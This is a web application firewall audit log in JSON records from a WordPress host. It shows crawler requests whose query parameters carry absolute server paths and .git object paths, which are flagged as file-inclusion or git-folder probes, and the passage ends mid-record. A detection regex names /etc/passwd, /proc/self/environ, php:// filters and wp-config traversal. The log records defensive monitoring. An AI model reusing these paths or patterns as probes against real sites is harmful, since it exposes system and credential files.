{"transaction":{"time":"13/Mar/2026:08:12:47.894487 +0100","transaction_id":"abO477F5yQKviNRUY1bTnwAAA8A","remote_address":"57.141.20.9","remote_port":58706,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/fresh-vegetables/?rename=/usr/base/usr/share/locale/fr/LC_MESSAGES/iso_3166-2.mo HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.9","X-Forwarded-Proto":"https","X-Request-Id":"0590a9c18cb0fa80bf7f36c6f47e57da","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"10422497"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2474>; rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"0590a9c18cb0fa80bf7f36c6f47e57da","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["Pattern match \"(?i)\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./|\\\\.\\\\./wp-config|/etc/passwd|/proc/self/environ|php://|filter//?(?:read|write|resource|convert|zlib)|/(?:usr|bin|opt|tmp|etc|proc)/|\\\\$CONFIG\\\\b|error_reporting[:=\\\\s\\\\x22\\\\x27]+?false|add_action|do_action|//filter/\" at ARGS:rename. [file \"/usr/share/modsecurity_lws/008_i360_wordpress.conf\"] [line \"2865\"] [id \"77789665\"] [msg \"IM360 WAF: Authenticated (Contributor+) LFI Vulnerability in Download Monitor <= 5.0.22 WordPress plugin (CVE-2025-47439)||MVN:ARGS:rename||MV:/usr/base/usr/share/locale/fr/LC_MESSAGES/iso_3166-2.mo||RSV:7.71||T:APACHE||\"] [severity \"NOTICE\"] [tag \"wp_core\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":187,"p2":3916,"p3":0,"p4":0,"p5":317,"sr":102,"sw":1,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:08:12:51.629474 +0100","transaction_id":"abO48llrCM1mgECVnsPr1gAAA5Y","remote_address":"57.141.20.30","remote_port":34106,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/harvest/?rename=/usr/base/usr/lib/locale/wa_BE.utf8/LC_MESSAGES/SYS_LC_MESSAGES HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.30","X-Forwarded-Proto":"https","X-Request-Id":"e5011053fd94f2b87c50ee8024302ccd","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"791006"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2422>; rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"e5011053fd94f2b87c50ee8024302ccd","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["Pattern match \"(?i)\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./|\\\\.\\\\./wp-config|/etc/passwd|/proc/self/environ|php://|filter//?(?:read|write|resource|convert|zlib)|/(?:usr|bin|opt|tmp|etc|proc)/|\\\\$CONFIG\\\\b|error_reporting[:=\\\\s\\\\x22\\\\x27]+?false|add_action|do_action|//filter/\" at ARGS:rename. [file \"/usr/share/modsecurity_lws/008_i360_wordpress.conf\"] [line \"2865\"] [id \"77789665\"] [msg \"IM360 WAF: Authenticated (Contributor+) LFI Vulnerability in Download Monitor <= 5.0.22 WordPress plugin (CVE-2025-47439)||MVN:ARGS:rename||MV:/usr/base/usr/lib/locale/wa_BE.utf8/LC_MESSAGES/SYS_LC_MESSAGES||RSV:7.71||T:APACHE||\"] [severity \"NOTICE\"] [tag \"wp_core\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":309,"p2":6254,"p3":0,"p4":0,"p5":320,"sr":120,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:08:13:15.606061 +0100","transaction_id":"abO5Cr_XFT3UbapV64mXbQAABAE","remote_address":"57.141.20.29","remote_port":58754,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/organic-products/?view=/htdocs/jmknew.jmkconsulting-ci.com/gdata/.git/objects/54/de99ca733cd85a9368ed135a7ee0291b1149df HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.29","X-Forwarded-Proto":"https","X-Request-Id":"29252e854fa3de86042e1b366f6735b8","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"7997225"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2480>; rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"29252e854fa3de86042e1b366f6735b8","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["String match \"/.git/\" at REQUEST_URI. [file \"/usr/share/modsecurity_lws/007_i360_custom.conf\"] [line \"370\"] [id \"77318034\"] [msg \"IM360 WAF: Detected access to git folder||RSV:7.71||T:APACHE||MV:/service/organic-products/?view=/htdocs/jmknew.jmkconsulting-ci.com/gdata/.git/objects/54/de99ca733cd85a9368ed135a7ee0291b1149df||\"] [severity \"NOTICE\"] [tag \"service_im360\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":382,"p2":4986,"p3":0,"p4":0,"p5":235,"sr":103,"sw":1,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:08:13:33.681239 +0100","transaction_id":"abO5HYS9jYN6zgxYZnjBzgAAAwQ","remote_address":"57.141.20.36","remote_port":50432,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/dairy-products/?rename=/htdocs/jmknew.jmkconsulting-ci.com/gdata/.git/objects/28/2caeafc4ae5f593db4376d9d42b7c961ec7ace HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.36","X-Forwarded-Proto":"https","X-Request-Id":"f7100a502242ad5544ba090c4bda278b","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"9439448"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2466>; rel=shortlink","Upgrade":"h2,h2c","Connection":"Upgrade","Vary":"Accept-Encoding","X-Orig-Rid":"f7100a502242ad5544ba090c4bda278b","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["String match \"/.git/\" at REQUEST_URI. [file \"/usr/share/modsecurity_lws/007_i360_custom.conf\"] [line \"370\"] [id \"77318034\"] [msg \"IM360 WAF: Detected access to git folder||RSV:7.71||T:APACHE||MV:/service/dairy-products/?rename=/htdocs/jmknew.jmkconsulting-ci.com/gdata/.git/objects/28/2caeafc4ae5f593db4376d9d42b7c961ec7ace||\"] [severity \"NOTICE\"] [tag \"service_im360\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":233,"p2":4683,"p3":0,"p4":0,"p5":309,"sr":137,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:08:16:09.989282 +0100","transaction_id":"abO5ub_XFT3UbapV64mYhgAABAA","remote_address":"57.141.20.13","remote_port":34336,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/organic-products/?rename=/htdocs/jmknew.jmkconsulting-ci.com/gdata/.git/objects/b3/6ed3cc7a94c0ba77e7f4ea7d428c1a99e1ab54 HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.13","X-Forwarded-Proto":"https","X-Request-Id":"01ad1b1904fc1795f7ce6e6c690130ea","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"9308396"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2480>; rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"01ad1b1904fc1795f7ce6e6c690130ea","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["String match \"/.git/\" at REQUEST_URI. [file \"/usr/share/modsecurity_lws/007_i360_custom.conf\"] [line \"370\"] [id \"77318034\"] [msg \"IM360 WAF: Detected access to git folder||RSV:7.71||T:APACHE||MV:/service/organic-products/?rename=/htdocs/jmknew.jmkconsulting-ci.com/gdata/.git/objects/b3/6ed3cc7a94c0ba77e7f4ea7d428c1a99e1ab54||\"] [severity \"NOTICE\"] [tag \"service_im360\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":189,"p2":4117,"p3":0,"p4":0,"p5":240,"sr":97,"sw":1,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:08:18:37.617981 +0100","transaction_id":"abO6TcJuHGAsZ_bVQvkU-AAAA0c","remote_address":"57.141.20.29","remote_port":42208,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/harvest/?rename=/usr/base/opt/php8.5/include/php/Zend/zend_language_parser.h HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.29","X-Forwarded-Proto":"https","X-Request-Id":"67c3cd0315830e340b4fb505d59bf327","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"10781583"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2422>; rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"67c3cd0315830e340b4fb505d59bf327","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["Pattern match \"(?i)\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./|\\\\.\\\\./wp-config|/etc/passwd|/proc/self/environ|php://|filter//?(?:read|write|resource|convert|zlib)|/(?:usr|bin|opt|tmp|etc|proc)/|\\\\$CONFIG\\\\b|error_reporting[:=\\\\s\\\\x22\\\\x27]+?false|add_action|do_action|//filter/\" at ARGS:rename. [file \"/usr/share/modsecurity_lws/008_i360_wordpress.conf\"] [line \"2865\"] [id \"77789665\"] [msg \"IM360 WAF: Authenticated (Contributor+) LFI Vulnerability in Download Monitor <= 5.0.22 WordPress plugin (CVE-2025-47439)||MVN:ARGS:rename||MV:/usr/base/opt/php8.5/include/php/Zend/zend_language_parser.h||RSV:7.71||T:APACHE||\"] [severity \"NOTICE\"] [tag \"wp_core\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":331,"p2":6057,"p3":0,"p4":0,"p5":272,"sr":132,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:08:19:31.844351 +0100","transaction_id":"abO6g_vasc2LTOMQTj-AowAAAo0","remote_address":"52.167.144.59","remote_port":40782,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /robots.txt HTTP/1.1","headers":{"Host":"ecakoog.jmkconsulting-ci.com","X-Real-IP":"52.167.144.59","X-Forwarded-Proto":"https","X-Request-Id":"f323c008d155bfd7ea7c95db63704e85","X-L-Admin-Auth":"0","pragma":"no-cache","accept":"*/*","from":"bingbot(at)microsoft.com","user-agent":"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm) Chrome/116.0.1938.76 Safari/537.36","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"11077221","Accept-Encoding":"br,gzip"}},"response":{"protocol":"HTTP/1.1","status":500,"headers":{"Content-Length":"810","Connection":"close","Content-Type":"text/html; charset=iso-8859-1"},"body":""},"audit_data":{"error_messages":["[file \"core.c\"] [line 4012] [level 3] AH00124: Request exceeded the limit of 10 internal redirects due to probable configuration error. Use 'LimitInternalRecursion' to increase the limit if necessary. Use 'LogLevel debug' to get a backtrace.","[file \"core.c\"] [line 4012] [level 3] AH00124: Request exceeded the limit of 10 internal redirects due to probable configuration error. Use 'LimitInternalRecursion' to increase the limit if necessary. Use 'LogLevel debug' to get a backtrace."],"handler":"redirect-handler","stopwatch":{"p1":253,"p2":4207,"p3":67,"p4":4,"p5":254,"sr":135,"sw":1,"l":0,"gc":0},"response_body_dechunked":true,"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:08:20:34.431328 +0100","transaction_id":"abO6wVlrCM1mgECVnsPvGwAAA4o","remote_address":"57.141.20.15","remote_port":42558,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/organic-products/?edit=/sftproot/htdocs/sivaco/.git/hooks/prepare-commit-msg.sample HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.15","X-Forwarded-Proto":"https","X-Request-Id":"21d3889d85440a23f93cabb1ba6aa2a5","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"7997486"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2480>; rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"21d3889d85440a23f93cabb1ba6aa2a5","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["String match \"/.git/\" at REQUEST_URI. [file \"/usr/share/modsecurity_lws/007_i360_custom.conf\"] [line \"370\"] [id \"77318034\"] [msg \"IM360 WAF: Detected access to git folder||RSV:7.71||T:APACHE||MV:/service/organic-products/?edit=/sftproot/htdocs/sivaco/.git/hooks/prepare-commit-msg.sample||\"] [severity \"NOTICE\"] [tag \"service_im360\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":288,"p2":6945,"p3":0,"p4":0,"p5":368,"sr":136,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:08:21:36.132908 +0100","transaction_id":"abO6_7_XFT3UbapV64makQAABAQ","remote_address":"57.141.20.12","remote_port":33886,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/agriculture-products/?rename=/usr/base/usr/share/ghostscript/10.05.1/lib/mkcidfm.ps HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.12","X-Forwarded-Proto":"https","X-Request-Id":"f52ef71a1e1839a9455d1ead9204aea2","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"8555152"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2488>; rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"f52ef71a1e1839a9455d1ead9204aea2","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["Pattern match \"(?i)\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./|\\\\.\\\\./wp-config|/etc/passwd|/proc/self/environ|php://|filter//?(?:read|write|resource|convert|zlib)|/(?:usr|bin|opt|tmp|etc|proc)/|\\\\$CONFIG\\\\b|error_reporting[:=\\\\s\\\\x22\\\\x27]+?false|add_action|do_action|//filter/\" at ARGS:rename. [file \"/usr/share/modsecurity_lws/008_i360_wordpress.conf\"] [line \"2865\"] [id \"77789665\"] [msg \"IM360 WAF: Authenticated (Contributor+) LFI Vulnerability in Download Monitor <= 5.0.22 WordPress plugin (CVE-2025-47439)||MVN:ARGS:rename||MV:/usr/base/usr/share/ghostscript/10.05.1/lib/mkcidfm.ps||RSV:7.71||T:APACHE||\"] [severity \"NOTICE\"] [tag \"wp_core\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":197,"p2":4478,"p3":0,"p4":0,"p5":336,"sr":108,"sw":1,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:08:23:31.961281 +0100","transaction_id":"abO7c4S9jYN6zgxYZnjEyAAAAxI","remote_address":"52.167.144.146","remote_port":50080,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /sitemap.txt HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"52.167.144.146","X-Forwarded-Proto":"https","X-Request-Id":"bca577dba976c6167040cc95424cb23e","X-L-Admin-Auth":"0","from":"bingbot(at)microsoft.com","accept":"*/*","user-agent":"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm) Chrome/116.0.1938.76 Safari/537.36","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"12256701","Accept-Encoding":"br,gzip"}},"response":{"protocol":"HTTP/1.1","status":500,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\"","Expires":"Wed, 11 Jan 1984 05:00:00 GMT","Cache-Control":"no-cache, must-revalidate, max-age=0, no-store, private","X-Orig-Rid":"bca577dba976c6167040cc95424cb23e","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Connection":"close","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"error_messages":["[file \"mod_proxy_fcgi.c\"] [line 960] [level 3] AH01071: Got error 'PHP message: PHP Fatal error:  Cannot redeclare __() (previously declared in /htdocs/ptso.jmkconsulting-ci.com/wp-includes/l10n.php:306) in /htdocs/ptso.jmkconsulting-ci.com/wp-content/themes/agrios/404.php on line 109'"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":233,"p2":4378,"p3":0,"p4":0,"p5":293,"sr":119,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:08:24:06.188664 +0100","transaction_id":"abO7lsJuHGAsZ_bVQvkW6QAAA0o","remote_address":"47.128.20.108","remote_port":50048,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /agricole/fr/actus.php HTTP/1.1","headers":{"Host":"www.jmkconsulting-ci.com","X-Real-IP":"47.128.20.108","X-Forwarded-Proto":"https","X-Request-Id":"bc53138de88d9bc38948d31ea0ee337f","X-L-Admin-Auth":"0","accept":"text/html,application/xhtml+xml,application/xml;q=0.9,image/heif,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7","accept-language":"en-US,en;q=0.5","upgrade-insecure-requests":"1","user-agent":"Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; Bytespider; spider-feedback@bytedance.com)","sec-fetch-site":"none","sec-fetch-mode":"navigate","sec-fetch-user":"?1","sec-fetch-dest":"document","priority":"u=0, i","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"bytedance","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"2756584"}},"response":{"protocol":"HTTP/1.1","status":403,"headers":{"Accept-Ranges":"bytes","X-Orig-Rid":"bc53138de88d9bc38948d31ea0ee337f","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html"}},"audit_data":{"messages":["Access denied with code 403 (phase 2). [file \"/usr/share/modsecurity_lws/011_i360_otherapps.conf\"] [line \"434\"] [id \"77350374\"] [msg \"IM360 WAF: Scan attempt by bytespider crawler||UA:Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; Bytespider; spider-feedback@bytedance.com)||RSV:7.71||T:APACHE||\"] [severity \"CRITICAL\"] [tag \"service_im360\"]","Operator EQ matched 1 at TX:trapped. [file \"/usr/share/modsecurity_lws/016_i360_monitor.conf\"] [line \"111\"] [id \"33329\"] [msg \"IM360 WAF: IPRec G: P: F:||RSV:7.71||T:APACHE||\"] [severity \"DEBUG\"] [tag \"service_im360\"] [tag \"noshow\"]"],"action":{"intercepted":true,"phase":2,"message":"Matched phrase \"bytespider\" at REQUEST_HEADERS:user-agent."},"stopwatch":{"p1":187,"p2":1708,"p3":0,"p4":0,"p5":484,"sr":67,"sw":1,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:08:29:09.290100 +0100","transaction_id":"abO8xMJuHGAsZ_bVQvkY0QAAA1Q","remote_address":"57.141.20.22","remote_port":56056,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/harvest/?rename=/usr/base/opt/php5.6/include/php/Zend/zend_multibyte.h HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.22","X-Forwarded-Proto":"https","X-Request-Id":"6a5510cd76b5520e7423b75bccad3ca7","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"12321541"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2422>; rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"6a5510cd76b5520e7423b75bccad3ca7","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["Pattern match \"(?i)\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./|\\\\.\\\\./wp-config|/etc/passwd|/proc/self/environ|php://|filter//?(?:read|write|resource|convert|zlib)|/(?:usr|bin|opt|tmp|etc|proc)/|\\\\$CONFIG\\\\b|error_reporting[:=\\\\s\\\\x22\\\\x27]+?false|add_action|do_action|//filter/\" at ARGS:rename. [file \"/usr/share/modsecurity_lws/008_i360_wordpress.conf\"] [line \"2865\"] [id \"77789665\"] [msg \"IM360 WAF: Authenticated (Contributor+) LFI Vulnerability in Download Monitor <= 5.0.22 WordPress plugin (CVE-2025-47439)||MVN:ARGS:rename||MV:/usr/base/opt/php5.6/include/php/Zend/zend_multibyte.h||RSV:7.71||T:APACHE||\"] [severity \"NOTICE\"] [tag \"wp_core\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":302,"p2":5757,"p3":0,"p4":0,"p5":326,"sr":131,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:08:30:12.476819 +0100","transaction_id":"abO9BHsHYJTEh6bQs5Z2bQAAAcI","remote_address":"57.141.20.6","remote_port":49764,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/dairy-products/?rename=/usr/base/usr/share/locale/ja/LC_MESSAGES/elfutils.mo HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.6","X-Forwarded-Proto":"https","X-Request-Id":"91dfdc803e8d0c3c884662ff63720edc","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"9439983"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2466>; rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"91dfdc803e8d0c3c884662ff63720edc","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["Pattern match 